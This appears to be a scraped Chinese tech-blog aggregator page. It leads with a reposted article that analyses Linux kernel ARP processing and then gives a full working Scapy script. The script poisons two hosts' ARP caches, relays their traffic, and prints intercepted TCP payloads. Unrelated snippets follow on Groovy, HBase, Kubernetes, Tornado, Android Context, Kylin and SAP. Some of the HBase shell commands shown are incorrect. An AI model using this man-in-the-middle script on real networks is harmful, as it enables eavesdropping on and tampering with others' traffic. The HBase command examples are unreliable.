ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中 我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程 当为ARP请求数据包,且能找到到目的地址的路由 如果不是发送到本机的ARP请求数据包,则看是否需要进行代理ARP处理 如果是发送到本机的ARP请求数据包,则分neighbour的状态进行讨论,但是通过分析发现,不论当前neighbour是处于何种状态(NUD_FAILD、NUD_NONE除外),则都会将状态切换成 NUD_STALE状态,且mac地址不相同时,则会切换到本次发送方的mac地址 当为ARP请求数据包,不能找到到目的地址的路由 不做任何处理 当为ARP响应数据包 如果没有对应的neighbour,则不做任何处理。如果该neighbour存在,则将状态切换为NUD_REACHABLE,MAC地址更换为本次发送方的地址 中间人攻击原理 通过以上分析,可以向受害主机A发送ARP请求数据包,其中请求包中将源IP地址,设置成为受害主机B的IP地址,这样,就会将主机A中的B的 MAC缓存,切换为我们的MAC地址。 同理,向B中发送ARP请求包,其中源IP地址为A的地址 然后,我们进行ARP数据包与IP数据包的中转,从而达到中间人攻击。 使用Python scapy包,实现中间人攻击: 环境 python3 ubuntu 14.04 VMware 虚拟专用网络 代码 !/usr/bin/python3from scapy.all import import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-05-03 13:04:20
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Groovy
...况其实挺简单的:基本数据类型,像int、double之类的,都是直接“按值传递”的,也就是说,传过去的是它们的具体值,改了也不会影响原来的变量。但要是你传的是对象,那就不一样了,传的是引用,相当于给了个“地址”,所以如果你在方法里对这个对象做了修改,外面的那个对象也会跟着变。简单来说,基本类型自己玩自己的,对象嘛,大家资源共享! 2.1 按值传递的例子 groovy def addNumbers(a, b) { a = a + 10 b = b + 20 return a + b } def x = 5 def y = 10 def result = addNumbers(x, y) println "Result: $result" // 输出: Result: 35 println "x: $x, y: $y" // 输出: x: 5, y: 10 在这个例子中,x和y的原始值并没有被改变,因为它们是基本数据类型,传递到方法中时是按值传递的。方法内部对它们的修改不会影响外部的变量。 2.2 按引用传递的例子 groovy class Person { String name } def modifyPerson(person) { person.name = "Alice" } def p = new Person(name: "Bob") modifyPerson(p) println "Name: ${p.name}" // 输出: Name: Alice 这里我们看到,Person对象是按引用传递的。当我们在modifyPerson方法中修改person对象的属性时,这个修改会影响到外部的p对象。 --- 3. 可变参数 处理不确定数量的输入 有时候,你可能不知道你的方法需要接收多少个参数。Groovy允许你定义可变参数的方法,这非常方便。 3.1 使用可变参数 groovy def sum(numbers) { def total = 0 numbers.each { num -> total += num } return total } println sum(1, 2, 3, 4) // 输出: 10 println sum(5, 10, 15) // 输出: 30 在这个例子中,numbers是一个数组,它可以接收任意数量的参数。通过遍历这个数组,我们可以轻松地计算出所有参数的总和。 --- 4. 默认参数值 简化调用 Groovy还支持为方法参数设置默认值。这使得方法调用更加灵活,尤其是当你不想每次都传入所有的参数时。 4.1 使用默认参数值 groovy def greet(name, greeting = "Hello") { println "$greeting, $name!" } greet("Alice") // 输出: Hello, Alice! greet("Bob", "Hi") // 输出: Hi, Bob! 在这个例子中,第二个参数greeting有一个默认值"Hello"。如果调用方没有提供这个参数,方法就会使用默认值。这不仅减少了代码量,也提高了灵活性。 --- 5. 总结与个人感悟 通过今天的讨论,我们了解了Groovy中方法参数传递的几种主要方式:按值传递、按引用传递、可变参数以及默认参数值。其实啊,每种方法都有自己的拿手好戏,就像不同的工具适合干不同的活儿一样。要是咱们能搞明白这些,就能写出既顺溜又聪明的代码啦! 说实话,当我第一次接触到Groovy的这些特性时,我感到非常兴奋。它让我意识到编程不仅仅是遵循规则,更是一种艺术。通过合理运用这些技巧,我们可以让代码变得更加简洁、优雅。 如果你还在纠结如何选择合适的参数传递方式,不妨多尝试几个例子,看看哪种方式最适合你的项目需求。记住,编程是一个不断学习和实践的过程,每一次尝试都是一次成长的机会!
2025-03-15 15:57:01
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林中小径
RabbitMQ
...上,以提供更高级别的数据可靠性保障,在出现故障恢复后仍能确保消息的完整性和一致性。
2023-12-12 10:45:52
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春暖花开-t
HBase
...分布式的、专门处理列数据的NoSQL数据库系统。简单来说,就像是个超级大的表格,能够把海量数据分散在不同的地方存储和管理,而且特别擅长处理那种不需要固定格式的数据,相当接地气儿的一款高科技产品。这东西的厉害之处在于,它能飞快地处理海量数据,延迟低到几乎可以忽略不计,而且扩展性贼强,特别适合那些需要瞬间读取大量信息的应用场合,比如你正在做一个大数据项目,或者运行一个对响应速度要求极高的程序。 二、为什么选择HBase 那么,为什么要选择HBase呢?主要有以下几个原因: 1. HBase是一种分布式数据库,能够处理大量的数据,并且能够在大规模集群中运行。 2. HBase是基于列存储的,这意味着我们可以在不需要的时候忽略不重要的列,从而提高性能。 3. HBase支持快速的数据插入和查询操作,这对于实时数据分析和流式处理应用非常有用。 4. HBase有一个非常强大的社区支持,这意味着我们可以获得大量的学习资源和技术支持。 三、使用HBase Shell进行数据查询 接下来,我们将详细介绍如何使用HBase Shell进行数据查询。首先,我们需要打开HBase Shell,然后就可以开始使用各种命令了。 以下是一些基本的HBase Shell命令: 1. 列出所有表 list tables 2. 插入一行数据 sql put 'mytable', 'rowkey', 'columnfamily:qualifier', 'value' 3. 查询一行数据 sql get 'mytable', 'rowkey' 4. 删除一行数据 sql delete 'mytable', 'rowkey' 5. 批量删除多行数据 sql delete 'mytable', [ 'rowkey1', 'rowkey2' ] 四、深入理解HBase查询 然而,这只是HBase查询的基础知识。实际上,HBase查询的功能远比这强大得多。例如,我们可以使用通配符来模糊匹配行键,可以使用范围过滤器来筛选特定范围内的值,还可以使用复杂的组合过滤器来进行高级查询。 以下是一些更复杂的HBase查询示例: 1. 使用通配符模糊匹配行键 sql scan 'mytable', {filter: "RowFilter( PrefixFilter('rowprefix'))"} 2. 使用范围过滤器筛选特定范围内的值 sql scan 'mytable', {filter: "SingleColumnValueFilter(columnFamily, qualifier, CompareFilter.CompareOp.GREATER_OR_EQUAL, value), SingleColumnValueFilter(columnFamily, qualifier, CompareFilter.CompareOp.LESS_OR_EQUAL, value) } 3. 使用组合过滤器进行高级查询 sql scan 'mytable', { filter: [ new org.apache.hadoop.hbase.filter.BinaryComparator('value1'), new org.apache.hadoop.hbase.filter.ColumnCountGetFilter(2) ] } 五、结论 总的来说,HBase是一种功能强大的分布式数据库系统,非常适合用于大数据分析和流式处理应用。通过使用HBase Shell,我们可以方便地进行数据查询和管理。虽然HBase这玩意儿初学时可能会让你觉得有点像爬陡坡,不过只要你把那些基础概念和技术稳稳拿下,就完全能够游刃有余地处理各种眼花缭乱的复杂问题啦。 我相信,在未来的发展中,HBase会变得越来越重要,成为大数据领域的主流工具之一。嘿,老铁!如果你还没尝过HBase这个“甜头”,我真心拍胸脯推荐你,不妨抽点时间深入学习并动手实践一把。这绝对值得你投入精力去探索!你会发现,HBase能为你带来前所未有的体验和收获。
2023-01-31 08:42:41
430
青春印记-t
Kubernetes
...AI技术可以分析历史数据,预测工作负载需求,从而优化Kubernetes的资源分配,减少资源浪费,提高服务器利用率。 2. 自动扩缩容:基于AI算法,Kubernetes可以根据实时的工作负载动态调整集群规模,确保服务的高可用性和性能。 3. 故障检测与预防:AI模型可以通过学习历史事件,识别潜在的系统故障模式,提前预警,减少宕机风险,提升系统稳定性。 4. 智能运维:借助AI,Kubernetes可以自动化执行复杂的运维任务,如自动修复错误、优化性能、更新软件等,显著减轻运维团队的工作负担。 实际案例与趋势 近年来,许多大型科技公司都在积极探索Kubernetes与AI的融合应用。例如,Google Cloud Platform(GCP)通过与AI技术的结合,为Kubernetes用户提供了更智能的管理工具和服务,如AutoML,帮助用户更高效地构建和部署机器学习模型。此外,AWS的Amazon Elastic Container Service (ECS)也通过集成AI功能,增强了其在自动化部署和运维方面的能力。 随着AI技术的不断进步和成熟,Kubernetes与AI的结合将带来更多的可能性。未来,我们或许可以看到更加智能、自动化的云平台,能够自主地进行资源管理、故障检测、服务优化等,为用户提供更加高效、稳定的云计算体验。 结语 Kubernetes与AI的融合是云计算领域的一大创新,它不仅提高了云平台的智能化水平,也为开发者提供了更多创新的空间。随着技术的持续发展,这一领域的潜力还有待进一步挖掘,未来值得期待。
2024-09-05 16:21:55
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昨夜星辰昨夜风
Tornado
...个I/O操作(如读取文件或网络通信)时,它不会等待该操作完成,而是立即返回并继续执行其他任务。操作系统会在后台处理I/O请求,一旦I/O操作完成,会通过事件通知机制告知程序,然后程序可以回调函数或其他方式处理已完成的I/O结果。在本文语境中,Tornado框架采用了这种模型以实现高并发Web服务,能够有效避免因等待I/O操作而导致的线程阻塞和性能瓶颈。 AsyncIO , AsyncIO是Python 3.4版本引入的标准库,它提供了一种在Python中编写异步代码的原生支持。AsyncIO使用协程(coroutine)和事件循环(event loop)机制来实现异步编程,使得开发者能够利用async/await语法编写出清晰、易于理解和维护的异步代码。在文章中,AsyncIO被用来与Tornado结合,进一步提升异步处理能力和性能,并简化了异步编程流程。 Tornado HTTPClient , Tornado HTTPClient是Tornado框架内置的一个异步HTTP客户端组件,用于从服务器发送和接收HTTP请求。它可以处理多个并发的HTTP请求而无需为每个请求创建新的线程或进程,从而大大提高了资源利用率和系统的整体吞吐量。但在文章讨论中,为了展示如何利用AsyncIO优化网络I/O性能,作者提到了可以采用第三方库aiohttp替代Tornado HTTPClient,在特定场景下可能带来额外的性能提升。
2023-10-30 22:07:28
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烟雨江南
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...vice //根据文件名得到SharedPreferences对象 public abstract SharedPreferences getSharedPreferences(String name,int mode); ... } 8.2 Contextlml.java:Context和实现类,但函数的大部分功能都是直接调用其属性的mPackageInfo去完成 / Common implementation of Context API, which provides the base context object for Activity and other application components. / class ContextImpl extends Context{ //所有Application程序公用一个mPackageInfo对象 /package/ ActivityThread.PackageInfo mPackageInfo; @Override public Object getSystemService(String name){ ... else if (ACTIVITY_SERVICE.equals(name)) { return getActivityManager(); } else if (INPUT_METHOD_SERVICE.equals(name)) { return InputMethodManager.getInstance(this); } } @Override public void startActivity(Intent intent) { ... //开始启动一个Activity mMainThread.getInstrumentation().execStartActivity( getOuterContext(), mMainThread.getApplicationThread(), null, null, intent, -1); } } 8.3 ContextWrapper.java:该类只是对Context类的一种包装,该类的构造函数包含了一个真正的Context引用,即ContextIml对象。 public class ContextWrapper extends Context { Context mBase; //该属性指向一个ContextIml实例,一般在创建Application、Service、Activity时赋值 //创建Application、Service、Activity,会调用该方法给mBase属性赋值 protected void attachBaseContext(Context base) { if (mBase != null) { throw new IllegalStateException("Base context already set"); } mBase = base; } @Override public void startActivity(Intent intent) { mBase.startActivity(intent); //调用mBase实例方法 } } 8.4ContextThemeWrapper.java:该类内部包含了主题(Theme)相关的接口,即android:theme属性指定的。只有Activity需要主题,Service不需要主题,所以Service直接继承于ContextWrapper类。 public class ContextThemeWrapper extends ContextWrapper { //该属性指向一个ContextIml实例,一般在创建Application、Service、Activity时赋值 private Context mBase; //mBase赋值方式同样有一下两种 public ContextThemeWrapper(Context base, int themeres) { super(base); mBase = base; mThemeResource = themeres; } @Override protected void attachBaseContext(Context newBase) { super.attachBaseContext(newBase); mBase = newBase; } } 9.Activity类 、Service类 、Application类本质上都是Context子类,所以应用程序App共有的Context数目公式为: 总Context实例个数 = Service个数 + Activity个数 + 1(Application对应的Context实例) 10.AR/VR研究的朋友可以加入下面的群或是关注下面的微信公众号 本篇文章为转载内容。原文链接:https://blog.csdn.net/yywan1314520/article/details/51953172。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-27 17:37:26
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Kylin
... Cube是预计算的数据存储模型,通过预先聚合和索引数据来大幅提升大数据查询速度。想象一下,这就像是一个超级有趣的立体魔方,每一个面都是由各种不同的数据拼接而成的小世界。用户只需要轻轻转动到对应的那一面,就能瞬间抓取到他们想要的信息,就像是变魔术一样神奇又便捷。 java // 创建Cube的基本步骤(伪代码) CubeInstance cube = new CubeInstance(); cube.setName("my_cube"); cube.setDimensions(Arrays.asList("dimension1", "dimension2")); // 设置维度 cube.setMeasures(Arrays.asList("measure1", "measure2")); // 设置度量 kylinServer.createCube(cube); 2. Cube设计的关键决策点 2.1 维度选择与层级设计 (1) 精简维度:并非所有维度都需要加入Cube。过于复杂的维度组合会显著增加Cube大小,降低构建效率和查询性能。例如,对于某个特定场景,可能只需要基于"时间"和"地区"两个维度进行分析: java // 示例:只包含关键维度的Cube设计 List tables = ...; // 获取数据表引用 List dimensions = Arrays.asList("cal_dt", "region_code"); CubeDesc cubeDesc = new CubeDesc(); cubeDesc.setDimensions(dimensions); cubeDesc.setTables(tables); (2) 层次维度设计:对于具有层次结构的维度(如行政区划),合理设置维度层级能有效减少Cube大小并提升查询效率。比如,我们可以仅保留省、市两级: java // 示例:层级维度设计 DimensionDesc dimension = new DimensionDesc(); dimension.setName("location"); dimension.setLevelTypes(Arrays.asList(LevelType.COUNTRY, LevelType.PROVINCE)); 2.2 度量的选择与聚合函数 根据业务需求选择合适的度量字段,并配置恰当的聚合函数。例如,如果主要关注销售额的总和和平均值,可以这样配置: java // 示例:定义度量及其聚合函数 MeasureDesc measureSales = new MeasureDesc(); measureSales.setName("sales_amount"); measureSales.setFunctionClass(AggregateFunction.SUM); cubeDesc.addMeasure(measureSales); MeasureDesc avgSales = new MeasureDesc(); avgSales.setName("avg_sales"); avgSales.setFunctionClass(AggregateFunction.AVG); cubeDesc.addMeasure(avgSales); 2.3 切片设计与分区策略 合理的切片划分和分区策略有助于分散计算压力,加快Cube构建和查询响应速度。例如,可以根据时间维度进行分区: java // 示例:按时间分区 PartitionDesc partitionDesc = new PartitionDesc(); partitionDesc.setPartitionDateColumn("cal_dt"); partitionDesc.setPartitionDateFormat("yyyyMM"); cubeDesc.setPartition(partitionDesc); 3. 实践中的调优策略与技巧 这部分我们将围绕实际案例,探讨如何针对具体场景调整Cube设计,包括但不限于动态调整Cube粒度、使用联合维度、考虑数据倾斜问题等。这些策略将依据实际业务需求、数据分布特性以及硬件资源状况灵活运用。 --- 请注意,以上代码仅为示意性的伪代码,真实操作中需参考Apache Kylin官方文档进行详细配置。同时呢,在写整篇文章的时候,我会在每个小节都给你们添上更丰富的细节描述和讨论,就像画画时的细腻笔触一样。而且,我会配上更多的代码实例,就像是烹饪时撒上的调料,让你们能更直观、更深入地明白怎么去优化Kylin Cube的设计,从而把查询性能提得更高。这样一来,保证你们读起来既过瘾又容易消化吸收!
2023-05-22 18:58:46
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青山绿水
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...序并获取该程序ALV数据》 《DEMO:S/4 1809 FAGLL03H 增加字段增强》 《几个ABAP实用模板,体力活就别一行行敲了,复制粘贴得了》 《DEMO:BTE增强实现凭证创建检查》 《SAP Parallel Accounting(平行分类账业务)配置+操作手册+BAPI demo程序》 《CC02修改确认日期BAPI:Processing of change number was canceled》 《我是怎样调试BAPI的,以F-02为例》 《女儿的部分书单》 《推荐几本小说吧,反正过年闲着也是闲着,看看呗》 《我是不是被代码给耽误了……不幸沦为一名程序员……》 《三亚自由行攻略(自己穷游总结)》 《苏州游记》 《杂谈:说走就走的旅行没那么难》 《溜达:无锡》 《记码农十周年(20110214--20210214)》 《不一样的SAP干货铺群:帅哥靓妹、红包、烤羊腿!》 《杂谈:几种接口》 《干货来袭:2020年公众号内容汇总》 《DEMO search help 增强 ( vl03n KO03 等)》 《录BDC时 弹出的公司代码框问题》 《动态获取查询条件的一个小Demo》 《动态批量修改任意表任意字段的值》 WDA Demo WDA DEMO 0:开启服务 设置hosts WDA DEMO 02: 简单介绍 WDA DEMO 03: 根据选择条件查询并显示 WDA DEMO 04: select options 查询并显示 WDA DEMO 05:两个table联动展示数据 WDA DEMO 06: 创建事务代码 WDA DEMO 07 页面跳转及全局变量的使用 WDA DEMO 08 全局变量方式二 WDA DEMO 09 ALV 简单展示 WDA DEMO 1:简单查询并显示结果 WDA DEMO 10 代码模块化整理 WDA DEMO 11 根据BAPI/Function创建WDA Debug 系列 DEBUG 系列一:Dump debug DEBUG 系列二:Configure Debugger Layer DEBUG系列三:使用 F9 和 watch point DEBUG系列四:第三方接口debug DEBUG系列五:Update 模式下的function debug DEBUG系列六:后台JOB debug DEBUG系列七:保存测试参数 DEBUG系列八:Debug弹出框 debug系列九:SM13查看update更新报错 DEBUG系列十:Smartforms debug DEBUG系列十一:GGB1 debug Debug系列十二:QRFC 队列 debug 本篇文章为转载内容。原文链接:https://blog.csdn.net/senlinmu110/article/details/122086258。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-08-12 21:25:44
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随机学习一条linux命令:
xargs -I{} command {}
- 将标准输入传递给命令进行批量处理。
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